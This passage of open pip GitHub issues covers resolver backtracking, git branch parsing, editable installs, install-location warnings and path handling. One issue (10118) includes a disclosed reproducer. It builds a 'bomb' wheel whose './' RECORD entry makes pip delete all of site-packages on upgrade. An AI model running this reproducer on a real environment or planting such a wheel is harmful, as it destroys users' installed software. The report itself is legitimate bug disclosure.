body: The new pip backtracking resolver is not viable in many real scenarios causing huge waste of time, because when you try to install a package, it tries to solve dependencies for each dependency requested by the package and this leads to continuous attempts to search most appropriate dependency that in many situations cannot be solved due to incoherent requirements between the package that you want to install and the requirements of some dependency.
It is needed a flag in order to specify the max level the resolver backtracking is allowed to try to fix dependencies conflicts.
user: SMH17
labels: state: awaiting PR: Feature discussed, PR is needed
issue_10226: state: open
title: pip doesn't properly parse git URL if branch name contains @ or #
body: ### Description

Trying `pip install git+https://example.com/repository@branch` fails if `branch` contains characters `@` or `#`, even percent-encoded.

### Expected behavior

`pip` must parse percent-encoded special characters in branch name, split the branch  name from the URL, clone the repository and checkout the named branch with special characters decoded. I.e.

    pip install https://example.com/repository@master%40test

must clone `https://example.com/repository` and checkout `master@test` branch. The same for `#` character %-encoded as `%23`.

### pip version

Any; tested with 21.1.3

### Python version

Any; tested with Python 3.9

### OS

Any; tested with Debian 10 buster

### How to Reproduce

Here is a test program `test-pip-git` that creates a repository, tries `pip download` and cleanups:

```sh
#! /bin/sh
set -e

PERCENT_ENCODING=0
while getopts p: opt; do
    case $opt in
        p ) PERCENT_ENCODING="${OPTARG:-1}" ;;
    esac
done
shift `expr $OPTIND - 1`

if [ -z "$1" ]; then
    echo "Usage: $0 [-p1|2] test_char" >&2
    exit 1
fi

TEST_CHAR1="$1"
if [ $PERCENT_ENCODING -ge 1 ]; then

    py_ver=`python -c "import sys; print(sys.version_info[0])"`
    if [ $py_ver -eq 2 ]; then
        percent_encode() {
            python -c "import urllib; print(urllib.quote('$1'))"
        }
    elif [ $py_ver -eq 3 ]; then
        percent_encode() {
            python -c "import urllib.parse; print(urllib.parse.quote('$1'))"
        }
    else
        echo "Unknown python version" >&1
        exit 1
    fi
    TEST_CHAR2=`percent_encode "$1"`
    if [ $PERCENT_ENCODING -eq 2 ]; then
        TEST_CHAR2=`percent_encode "$TEST_CHAR2"`
    fi
else
    TEST_CHAR2="$1"
fi

rm -rf test-pip-git-repo test-pip-git-spec-char-0.0.1.zip
git init test-pip-git-repo
cd test-pip-git-repo

echo test >test
git add test
git commit -m test

git branch -M master # to fixed name
git checkout -b test${TEST_CHAR1}test # new branch

cat >setup.py <<EOF
#!/usr/bin/env python

from setuptools import setup

setup(
    name='test_pip_git_spec_char',
    version='0.0.1',
    description='Test pip+git+special characters',
    author='Oleg Broytman',
    author_email='phd@phdru.name',
    keywords=['pip', 'git', '@', '!', '#', '/'],
    platforms='Any',
)
EOF

git add setup.py
git commit -m setup.py
git checkout master # make test branch non-current

cd ..
pip download git+file://`pwd`/test-pip-git-repo@test${TEST_CHAR2}test | grep '\(clone\|checkout\)' || : # ignore errors

rm -rf test-pip-git-repo test-pip-git-spec-char-0.0.1.zip
```

### Output

    ./test-pip-git @

    Running command git clone -q file:///home/phd/tmp/test-pip-git-repo@master /tmp/pip-req-build-v1v16zoe
    fatal: '/home/phd/tmp/test-pip-git-repo@master' does not appear to be a git repository

`pip` clones incorrect repository `test-pip-git-repo@master`; the repo must be `test-pip-git-repo`.

    ./test-pip-git -p1 @

    Running command git clone -q file:///home/phd/tmp/test-pip-git-repo@master /tmp/pip-req-build-__0b6wh5
    fatal: '/home/phd/tmp/test-pip-git-repo@master' does not appear to be a git repository

The same incorrect repo.

    ./test-pip-git \!

    Running command git clone -q file:///home/phd/tmp/test-pip-git-repo /tmp/pip-req-build-fsnq5vt_
    Running command git checkout -b 'master!test' --track 'origin/master!test'

Just a test with another less special character. `pip` clones correct repository `test-pip-git-repo` and checks out correct branch `master!test`. Doesn't even require %-encoding. Test passed!

    ./test-pip-git \#

    Running command git clone -q file:///home/phd/tmp/test-pip-git-repo /tmp/pip-req-build-i0wy10_1
    ERROR: File "setup.py" not found

`pip` clones correct repository `test-pip-git-repo` but doesn't check out branch `master#test`. It just uses branch `master` and ignores everything after `#`.

    ./test-pip-git -p1 \#

Exactly the same problem.


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: phdru
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
issue_10216: state: open
title: Cannot install a direct reference dependency as an "editable" dependency
body: ### Description

It seems that you can't install a package in editable mode, while simultaneously installing a package that depends on that package via a [direct reference](https://www.python.org/dev/peps/pep-0440/#direct-references).

I came across this issue when splitting a project into 2 packages that both live in the same repository. Package A now depends on Package B via a direct reference. Since both are in the same repository, I tried installing both in editable mode, but pip came back with:

```
# pip install --use-feature=in-tree-build -e package_a/ -e package_b/
Obtaining file:///home/austin/workspace/pypa/test_project/package_a
Obtaining file:///home/austin/workspace/pypa/test_project/package_b
Processing ./package_b
ERROR: Cannot install package-a==1.0.0 and package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b) because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b)
    package-a 1.0.0 depends on package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b)

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```

It seems that this action should be allowed taking the wording of the error message at face value.

I did some debugging and found that `Resolution._add_to_criteria` from `src/pip/_vendor/resolvelib/resolvers.py` raises a `RequirementsConflicted` exception. The resolver cannot resolve the 2 requirements below. The resolver fails to generate any candidates apparently because both requirements are instances of `ExplicitRequirement`.

```python
RequirementInformation(requirement=ExplicitRequirement(EditableCandidate('file:///home/austin/workspace/pypa/test_project/project_b')), parent=None)
RequirementInformation(requirement=ExplicitRequirement(LinkCandidate('file:///home/austin/workspace/pypa/test_project/project_b')), parent=EditableCandidate('file:///home/austin/workspace/pypa/test_project/project_a'))
```

We have 2 workarounds for this:

1. Remove the direct reference from `package_a`, and just have `package_a` depend on any package named `package_b`. This is an issue because Package A won't know where to get Package B unless you install them both at the same time with `pip install -e ./package_a/ -e ./package_b/`. More worrying is if someone registers a package on PyPI that matches the name of our "Package B".
2. Install "Package A" first, then install "Package B" later. This is the solution we went with, since Pip now takes previously installed packages into consideration when solving an environment, and we keep the versions of dependencies of both packages relatively in sync. This does feel like it could cause problems down the road.

### Expected behavior

I'm not sure what should be expected in this situation? It seems like one of these should be true:

1. Pip should allow `pip install -e A -e B` when A depends on B via a direct reference
2. Pip's error message for Point 1 should indicate why you can't do that
3. Setuptools should allow you to install a direct-reference package in editable mode

Point 3 doesn't feel right, but just wanted to throw that out there.

### pip version

21.3.dev0 (commit: a53f8888bfc335677237bd971437c556670ed726)

### Python version

3.9.5

### OS

Ubuntu 21.04 hirsute

### How to Reproduce

Create a directory named "package_b". Create a `setup.py` in that directory with the contents:

```python
from setuptools import setup
setup(name="package_b", version="1.0.0")
```

Create a directory named "package_a" in the same directory that contains the "package_b" directory. Create a `setup.py` in that directory with the contents:

```python
from setuptools import setup
import os
package_b_dir = os.path.dirname(__file__).replace("package_a", "package_b")
setup(
    name="package_a",
    version="1.0.0",
    install_requires=[
        "package_b @ file://%s" % package_b_dir,
    ],
)
```

You should now have:

```
.
├── package_a
│   └── setup.py
└── package_b
    └── setup.py
```

Now run `pip install -e ./package_a/ -e ./package_b/`.

### Output

```sh-session
The output is above in the description section, but pasting it here as well:


# pip install --use-feature=in-tree-build -e package_a/ -e package_b/
Obtaining file:///home/austin/workspace/pypa/test_project/package_a
Obtaining file:///home/austin/workspace/pypa/test_project/package_b
Processing ./package_b
ERROR: Cannot install package-a==1.0.0 and package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b) because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b)
    package-a 1.0.0 depends on package-b 1.0.0 (from /home/austin/workspace/pypa/test_project/package_b)

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AustinTSchaffer
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
issue_10208: state: open
title: Location warnings on 21.2 (contributor discussions)
body: This is an accompanying issue to #10151 on the distutils-sysconfig switch, so discussions on concrete solutions are not drowned by the reports.

I categorised the reports we gathered in the past day:

https://gist.github.com/uranusjr/c03c2c452ee8faa11db996c6b5a3999d

(Some reports uncover multiple issues so a few rows are duplicated under different categories.)

From what I can tell, there are four main problematic environments:

### On macOS, `pip install --user` in a framework build

I think I made a mistake in #9844 and the `skip_osx_framework_user_special_case` check isn’t working properly. This should be easy to fix.

PR ready in #10215.

### On MSYS, sysconfig’s lib path does not contain `site-packages`

This is… I don’t know, extremely weird. Sounds like a bug in msys? There’s only one ill-formatted report about this, and the reporter did not respond to my request to clarify. So I think I’ll just ignore this unless someone else comes up with a better report.

### On Linux, `sudo pip install -U pip` a system-provided pip and then attempt to `sudo pip install` a package under the default prefix

Account for ~50% of the reports. Since Linux distros patch both Python and pip to return different paths for system and user-land tools, a user-installed upstream pip have trouble understanding the scheme. I already told Debian devs about this and IIRC they already updated the patches to accomodate the sysconfig switch, but in any case, since this can only be solved by distro devs, so I’m going to just try to detect the platform and suppress the warning. I think this is doable by checking whether distutils contains [`deb_system` and `unix_local` on Debian and derivatives](https://sources.debian.org/src/python3.7/3.7.3-2+deb10u3/debian/patches/distutils-install-layout.diff/#L57). Red Hat derivatives are more difficult to detect, I think the only way is to check whether `platlib` and `purelib` are in different locations (Red Hat patches `platlib` to use `lib64` instead of `lib`).

PR ready as a part of #10217.

### On Homebrew and Linuxbrew, `pip install` into the Brew-managed system prefix

[Homebrew uses a `distutils.cfg` file to overwrite the install scheme](https://github.com/Homebrew/homebrew-core/blob/7beae5ab57c65249403699b2b0700fbccf14e6cb/Formula/python%403.9.rb#L371-L380) ([similar patch for Linuxbrew](https://github.com/Homebrew/linuxbrew-core/blob/b98ded734e8b30d02503d1d11c2d7a1ee3a151b8/Formula/python%403.9.rb#L366-L381)). Since `distutils.cfg` is going to be deprecated and eventually removed with distutils itself, Homebrew needs to re-think how they manage the install schemes. I already raised this issue to Homebrew. On pip’s side, since the entire distutils config file thing is going away, we should raise a deprecation warning when it is detected (and suppress the normal location mismatch warning). I’m thinking something like

```
DEPRECATION: Overwriting package installation paths with distutils configuration files is deprecated
and will be removed in Python 3.12. If you are seeing this under Homebrew or Linuxbrew, please 
see https://github.com/Homebrew/homebrew-core/issues/76621
```

Linuxbrew seems to have one additional setup that Homebrew does not have: https://github.com/pypa/pip/issues/10151#issuecomment-886193325 But the root cause is likely the same (maybe just version differences in Brew?)

PR ready in #10218.

### On Linux (potentially all POSIX), `pip install` into any site on a Python with pymalloc enabled

This is actually a bug in sysconfig. sysconfig’s `purelib` and `platlib` values fail to include `sys.abiflag` (the `m` thing in `python3.6m` if you’re not familiar with the topic; there are three suffixes in total IIRC). But Python removed those suffixes in 3.8 (I think) so there’s no point fixing sysconfig now (again, we are only going to switch to sysconfig when running on 3.10+). We should add some special cases to suppress the warning.

PR ready as a part of #10217.
user: uranusjr
issue_10195: state: open
title: Implement PEP 643 to optimise `pip download --no-binary`
body: Currently, when pip downloads sdists it is sometimes necessary for it to build a wheel in order to get trustworthy metadata  #7995 #1884. Ideally it wouldn't need to do so, but that is a difficult problem to solve. 

I would instead suggest that when pip does need to build a wheel during download it should default to saving that resulting wheel along-side the sdist package. This would let users avoid having to build the wheel twice in some cases, which could save a considerable amount of time. 

While there are other cases where that wheel wouldn't be useful to the user (they want to make modifications first, control build settings, etc) it doesn't hurt them to have it, as it was being built anyway, and thus the time and disc space requirements are unchanged. People using `pip download` in scripts and the like may have to make changes to account for the additional file, so a transition plan would be needed.

I think the closest existing alternative to this is `pip download --build ./tmp --no-clean`. The main downside to that is knowing and remembering that it is necessary. Users are often surprised that `pip download` builds packages. Even when aware of the issue it can be easy to forget, especially when an sdist is downloaded because no appropriate wheels are available rather than because `--no-binary` was used.

This might dovetail with #9769 which aims to always make wheels as an intermediate step in installing sdists.
user: djpavon
labels: type: feature request: Request for a new feature
PEP implementation: Involves some PEP
issue_10185: state: open
title: Try next of multiple PyPI servers if first one times out
body: **What's the problem this feature will solve?**
We're hosting an internal PyPI Cloud repository with two servers in different data centers. The DNS record for our repository returns the IP addresses of both servers. A TLS-terminating reverse proxy is installed on both machines. When downloading packages, pip seems to stick to one machine even if that machine's application server is shut down in the progress. Pip only switches to the other machine after shutting down the reverse proxy as well .

**Describe the solution you'd like**
Pip should retry not only the one machine it has successfully connected to just recently but should also leverage additional IP addresses while retrying after timeouts.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
We were suffering from a data center outage last week and added a second server in a different data center to facilitate a high availability deployment. Thus far, it only works if a server is down completely but not if the application server is taking "too long". 
user: oschlueter
labels: project: vendored dependency: Related to a vendored dependency
type: feature request: Request for a new feature
issue_10134: state: open
title: Replacing our GitHub bots
body: Update: We're gonna instead replace them with GitHub Actions.

---

pypa/browntruck currently has 2 deployed forks.

I'm creating a 3rd version, and will be replacing both of these forks with it; hopefully very soon. Until then, if you see any weirdness, just call it out here.

user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
issue_10121: state: open
title: In windows, requirements file parser collapses absolute reference to requirements file
body: ### Description

In Windows, running `pip install -r` against the following requirements file containing an absolute reference to other requirements files fails.

```
# In power-shell
$ echo pandas > requirements.txt
$ echo "-r $(pwd)\requirements.txt" > other-requirements.txt
$ pip install -r "$(pwd)\other-requirements.txt"

Could not open requirements file: [Errno 2] No such file or directory: 'D:\\absolute\\path\\to\\absolutepathtorequirements.txt'
```


### Expected behavior

`pip install` should succeed

### pip version

21.1.3

### Python version

3.7.9

### OS

Windows

### How to Reproduce

```
echo pandas > requirements.txt
echo "-r $(pwd)\requirements.txt" > other_requirements.txt
cat requirements.txt
cat other_requirements.txt
pip install -r "$(pwd)\other_equirements.txt"
```

See this github actions log:
https://github.com/harupy/windows-playground/pull/1/checks?check_run_id=2979532159

### Output

```sh-session
pandas
-r D:\a\windows-playground\windows-playground\requirements.txt
ERROR: Could not open requirements file: [Errno 2] No such file or directory: 'D:\\a\\windows-playground\\windows-playground\\awindows-playgroundwindows-playgroundrequirements.txt'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: harupy
labels: type: bug: A confirmed bug or unintended behavior
issue_10118: state: open
title: Updating a package that has `./` in RECORD removes site-packages
body: ### Description

If you create a package that has a `./` entry in its `RECORD` file and install it, pip will think that the whole site-pacakges belongs to this package.

This means that when removing / updating / reinstalling it, pip will remove _the whole_ site-packages first.

Probably the root cause of #7170.

It is easy to fall prey to this kind of bug when developing PEP-517 hooks.

### Expected behavior

Warn? Refuse to install packages that have `./` in `RECORD`? Unsure.

### pip version

21.1.2

### Python version

3.8.10

### OS

Ubuntu 20.04 LTS

### How to Reproduce

**Reproduce only in a virtualenv - this will remove your site-packages**

```
python -m pip install wheelfile
python -c "from wheelfile import WheelFile; WheelFile(mode='w', distname='bomb', version='0').write('./', recursive=False, resolve=False)"
python -c "from wheelfile import WheelFile; WheelFile(mode='w', distname='bomb', version='1')"
python -m pip install ./bomb-0-py3-none-any.whl
python -m pip install ./bomb-1-py3-none-any.whl # 💥
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MrMino
labels: type: bug: A confirmed bug or unintended behavior
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_10114: state: open
title: Space in filename in PIP_CONSTRAINTS is interpreted as a new file
body: ### Description

The `PIP_CONSTRAINTS` variable (and likely any other path related variables?) can't handle a path with a space in it. Something like `PIP_CONSTRAINTS="C:\Program Files\..."` causes `Could not open requirements file: [Errno 2] No such file or directory: 'C:\\Program'`. These path variables should probably interpret spaces as part of paths, and use a separator for multiple values (like `:` or `;`).

Also, quotes around the path causes this to fail, too, `PIP_CONSTRAINTS="'C:\Program Files\...'"` breaks.

See https://github.com/pypa/cibuildwheel/issues/740

### Expected behavior

Spaces in paths should not break.

### pip version

21.1.3

### Python version

All

### OS

Windows and macOS, at least, probably all.

### How to Reproduce

1. Make a constraints file with a space `my constraints.txt`
2. Then run `PIP_CONSTRAINTS="my constraints.txt" pip install <package>`
3. An error occurs.


### Output

```sh-session
Could not open requirements file: [Errno 2] No such file or directory: 'C:\\Program'`
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: henryiii
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10110: state: open
title: Native namespace package does not install properly when specifying a target directory (-t option)
body: ### Description

I cannot make native namespace packages to install properly when specifying a target directory (-t option). 

This is important to me as I need to use the the target option to install some packages for an AWS Lambda.

This looks like a very old issue [#1924](https://github.com/pypa/pip/issues/1924). However I cannot find, after extensive search, any clarification anywhere and the case was closed without apparent resolution.

To confirm I tried it with the pypa samples from [pypa/sample-namespace-packages](https://github.com/pypa/sample-namespace-packages) and failed to install both native packages (pkg_a & pkg_b) with an error stating that the directory already exists.

Please note I tried this both on Windows and Linux and the other packaging methods 'pkgutil' and 'pkg_resources' had the same exact problem.

Thank You 


### Expected behavior

Both packages pkg_a & pkg_b should install in the same namespace directory.

### pip version

21.1.3

### Python version

3.8.5

### OS

Windows/Linux

### How to Reproduce

git clone https://github.com/pypa/sample-namespace-packages

cd sample-namespace-packages/native
mkdir temp

pip install ./pkg_a -t temp
pip install ./pkg_b -t temp 


### Output

```sh-session
The second install fails with a message like:

WARNING: Target directory .../sample-namespace-packages/native/temp/example_pkg already exists. Specify --upgrade to force replacement.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: furechan
labels: C: target: pip install's --target option's behaviour handling
state: needs discussion: This needs some more discussion
issue_10098: state: open
title: Invalid requirement error with file URL and named project
body: ### Description

It's possible to install using a `git+file` scheme:

```
$ pip install 'git+file:///Users/jaraco/m/pytest-perf'
...
Installed...
```

It's also possible to specify the distribution name and extras when installing from a remote git repo:

```
$ pip install 'pytest-perf@git+https://github.com/jaraco/m/pytest-perf'
...
Installed...
```

But if one tries to install using a `git+file` scheme and specify the distribution name, an Invalid requirement error occurs:

```
$ pip install 'pytest-perf@git+file:///Users/jaraco/m/pytest-perf'
ERROR: Invalid requirement: 'pytest-perf@git+file:///Users/jaraco/m/pytest-perf'
Hint: It looks like a path. File 'pytest-perf@git+file:///Users/jaraco/m/pytest-perf' does not exist.
```

And thus because of #10097, it's not possible to install a local git repo with extras.

I'd really like for there to be some way to install a package at a given revision with extras:

```
$ pip install '*[testing]@git+file:path/to/repo@rev'
```

I need this for pytest-perf in order to compare performance of a package against the main branch.

### Expected behavior

Honor the combination of the two syntaxes.

### pip version

21.1.2

### Python version

3.9.2

### OS

macOS 11.4

### How to Reproduce

x

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
issue_10097: state: open
title: Install repo or path with extras without knowing project name
body: I'd like to be able to install a project from a file system path or URL and install extras for it without having to know the project name.

It's possible to install without knowing the project name if extras aren't needed:

```
pip install git+https://github.com/jaraco/pytest-perf
```

And it's possible to install with extras if the project name is known:

```
pip install 'pytest-perf[testing]@git+https://github.com/jaraco/pytest-perf'
```

But if one wants to install a project with its extras without knowing its name, there appears to be no syntax for that.

Perhaps pip could support something like

```
pip install '[testing]@git+https://github.com/jaraco/pytest-perf'
```

Or allow a special sentinel to stand in for the actual project name.

```
pip install '*[testing]@git+https://github.com/jaraco/pytest-perf'
```

user: jaraco
issue_10095: state: open
title: [Package's VCS dependencies do not build and install when doing a pip install] 
body: ### Description

When a [VCS](https://pip.pypa.io/en/stable/cli/pip_install/#vcs-support) (git/SVN) package is specified as an 'install_requires' dependency in `setup.py`, the package is downloaded from the version control, but it is never built or installed. The only way to make it work is right now to issue the `--force-reinstall` flag. 
The root cause is a missing check in the loop at https://github.com/pypa/pip/blob/main/src/pip/_internal/resolution/resolvelib/resolver.py#L139. 

Candidates such as VCS packages slip through all the checks and land at https://github.com/pypa/pip/blob/main/src/pip/_internal/resolution/resolvelib/resolver.py#L193. 

It also explains why `--force-reinstall` works. The check on line https://github.com/pypa/pip/blob/main/src/pip/_internal/resolution/resolvelib/resolver.py#L150 short-circuits and adds the candidate to the req_set.

The fix is to add a simple check on `candidate.source_link and candidate.source_link.is_vcs` condition and to set `ireq.should_reinstall=True` following that. 

I suspect this would be broken for all possible mechanisms wherever VCS packages are allowed in requirement spec (requirements.txt, etc.), but I haven't tested those flows.

### Expected behavior

Including a VCS package in the dependency list should correctly build and install the dependency much like other regular dependencies. 

### pip version

Reproduced on pip 21.1.2

### Python version

Python 3.9.5

### OS

macOS Catalina 

### How to Reproduce

1. Create a package with a VCS dependency in install_requires section of setup.py
2. Run pip install on the target package
3. Installation succeeds but the VCS package is neither python built (no whl or src dist created) nor installed.


### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: harshmttl
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_10086: state: open
title: main branch does not provide traceback
body: ### Description

When running the version of pip on the latest main (4704da4), `pip install --verbose` does not report a traceback as pip 21.1.2 does.

I have not been able to figure out which of the latest changes might have caused this. None of the latest PRs seem to touch anything obviously related.

(Incidentally, I don't...think it's *intentional*? If it is intentional, that seems like a very bad direction to move on purpose, since it would strand people stuck at a dead end with no path to proceed.)

### Expected behavior

main to report a traceback as pip 21.1.2 does.

```
Traceback (most recent call last):
  File "/usr/lib/python3.9/site-packages/pip/_internal/cli/base_command.py", line 180, in _main
    status = self.run(options, args)
  File "/usr/lib/python3.9/site-packages/pip/_internal/cli/req_command.py", line 204, in wrapper
    return func(self, options, args)
  File "/usr/lib/python3.9/site-packages/pip/_internal/commands/install.py", line 318, in run
    requirement_set = resolver.resolve(
  File "/usr/lib/python3.9/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 103, in resolve
    r = self.factory.make_requirement_from_install_req(
  File "/usr/lib/python3.9/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 428, in make_requirement_from_install_req
    self._fail_if_link_is_unsupported_wheel(ireq.link)
  File "/usr/lib/python3.9/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 137, in _fail_if_link_is_unsupported_wheel
    raise UnsupportedWheel(msg)
pip._internal.exceptions.UnsupportedWheel: rpy2-3.4.5-cp39-cp39-musllinux_1_2_x86_64.whl is not a supported wheel on this platform.
```

### pip version

main

### Python version

3.9.4

### OS

alpine:edge

### How to Reproduce

1. Get any platform-unsupported wheel file, such as the attached [rpy2-3.4.5-cp39-cp39-musllinux_1_2_x86_64.whl.zip](https://github.com/pypa/pip/files/6683097/rpy2-3.4.5-cp39-cp39-musllinux_1_2_x86_64.whl.zip) (also available from https://gitlab.com/dHannasch/alpine-wheel/-/jobs/1361954404).
2. On the pip main branch and on pip 21.1.2, run `pip install --verbose https://github.com/pypa/pip/files/6683097/rpy2-3.4.5-cp39-cp39-musllinux_1_2_x86_64.whl` (or with any other UnsupportedWheel).
3. pip 21.1.2 gives a traceback but the pip main branch does not.

### Output

```sh-session
`ERROR: rpy2-3.4.5-cp39-cp39-musllinux_1_2_x86_64.whl is not a supported wheel on this platform.`
(no traceback)

You can also see https://gitlab.com/pythonpackagesalpine/nbconvert-alpine/-/jobs/1361938509 for an example in the wild.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dHannasch
labels: type: bug: A confirmed bug or unintended behavior
issue_10078: state: open
title: Capital letter in directory name causes pip editable install to fail in Windows
body: ### Description

In Windows when the directory name of a Python project, such as a just cloned Git repository, contains a capital letter, installing it with `-e` (for editable) will result in a "Succesfullly installed"-message, but it actually failed: in `pip list` the package is nowhere to be found. In macOS I'm not having this issue.

## With capital letter in directory name
![pip_issue_1](https://user-images.githubusercontent.com/9624990/122594705-ad24a180-d067-11eb-9856-2dcccc7f3a56.png)

Note that it reported `Successfully installed example` but without version number.

## All lowercase letters
![pip_issue_2](https://user-images.githubusercontent.com/9624990/122594710-aeee6500-d067-11eb-9aec-74143ba81a3b.png)



### Expected behavior

_No response_

### pip version

21.1.2

### Python version

3.8.10

### OS

Windows 10  21.1.2

### How to Reproduce

I createda simple repo to reproduce the above example, but you can try it with any other repository as well.

```bash
git clone https://github.com/sandertan/Example
cd Example
pip install -e .
```

As mentioned previously, this only occurs in Windows and not on macOS. I'm using Bash that came with Git, and I also experienced this bug with the default Windows Shell.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sandertan
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10076: state: open
title: Adding the `--strict` option to mypy
body: ## Overview

This is the second part of the discussion from #10065 [\(review\)](https://github.com/pypa/pip/pull/10065#discussion_r652449821).

## Description

I have been working on converting the type hint commentaries into proper annotations \(#10004, #10018, #10065, #10074\). But I had a simple mistake on #10065 by annotating this:

```python
        download_dir: str = None
```

when it must be annotated like this:

```python
        download_dir: Optional[str] = None
```

We expected that Mypy was going to fail, but it just passed by. Then, we saw that Mypy accepts implicit optional annotations, until we use `--no-implicit-optional`.

## What we want

We want Mypy to use `--no-implicit-optional` on its checks, to make a better diagnosis. View the  [PR review where the original discussion is](https://github.com/pypa/pip/pull/10065#discussion_r652449821) for more information.

## Code of Conduct

- [x] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: DiddiLeija
issue_10073: state: open
title: Command to inspect distributions not installed locally
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
`show` command for packages not installed. It helps us to view details about packages that the user is going to install.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Maybe fetch information about the package and display it on the screen.

<!-- Provide examples of real-world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: lainq
labels: type: feature request: Request for a new feature
C: index: The 'pip index' command
issue_10060: state: open
title: --use-pep517 appears to be significanly slower for small projects
body: ### Description

I have observed a performance regression in building wheels with `--use-pep517` vs `--no-use-pep517`



### Expected behavior

No significant performance change between `--use-pep517` and `--no-use-pep517`

### pip version

21.1.2

### Python version

3.7.3

### OS

Debian

### How to Reproduce

To reproduce:
1. `git clone git@github.com:zmanji/git-squash.git`
2. Checkout `e714352b532f2fdfc57b23df9b7cf8dc0fed34d6`
3. Install the benchmarking tool [hyperfine](https://github.com/sharkdp/hyperfine)

Run
```
hyperfine -w2 'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --no-use-pep517' 'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --use-pep517'
```

Observe that the only difference between to the two `pip wheel` commands is `--no-use-pep517` vs `--use-pep517`. Also observe the in tree build feature is enabled.

Feel free to change `-w2` to `-w3` or higher to increase warmups

### Output
With `pip` `21.1.2` and `wheel` `0.36.2`

I see the following results

on macOS 11.4 with Python `3.9.4`


```sh-session

Benchmark #1: pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --no-use-pep517
  Time (mean ± σ):      1.220 s ±  0.039 s    [User: 917.3 ms, System: 200.4 ms]
  Range (min … max):    1.191 s …  1.325 s    10 runs
 
Benchmark #2: pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --use-pep517
  Time (mean ± σ):      4.390 s ±  0.018 s    [User: 3.563 s, System: 0.618 s]
  Range (min … max):    4.360 s …  4.416 s    10 runs
 
Summary
  'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --no-use-pep517' ran
    3.60 ± 0.12 times faster than 'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --use-pep517'
```


on Debian Linux with Python `3.7.3`

```
Benchmark #1: pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --no-use-pep517
  Time (mean ± σ):      2.036 s ±  0.213 s    [User: 1.763 s, System: 0.216 s]
  Range (min … max):    1.871 s …  2.529 s    10 runs
 
Benchmark #2: pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --use-pep517
  Time (mean ± σ):      6.877 s ±  0.267 s    [User: 6.134 s, System: 0.658 s]
  Range (min … max):    6.458 s …  7.327 s    10 runs
 
Summary
  'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --no-use-pep517' ran
    3.38 ± 0.38 times faster than 'pip wheel --use-feature=in-tree-build -w dist/ --only-binary ":all:" --no-deps -r requirements.txt . --use-pep517'
```

I know it is a small project so this might be an extreme case, but this appears to be unexpected.


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zmanji
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10057: state: open
title: package not importable after editable install (works without --editable)
body: ### Description

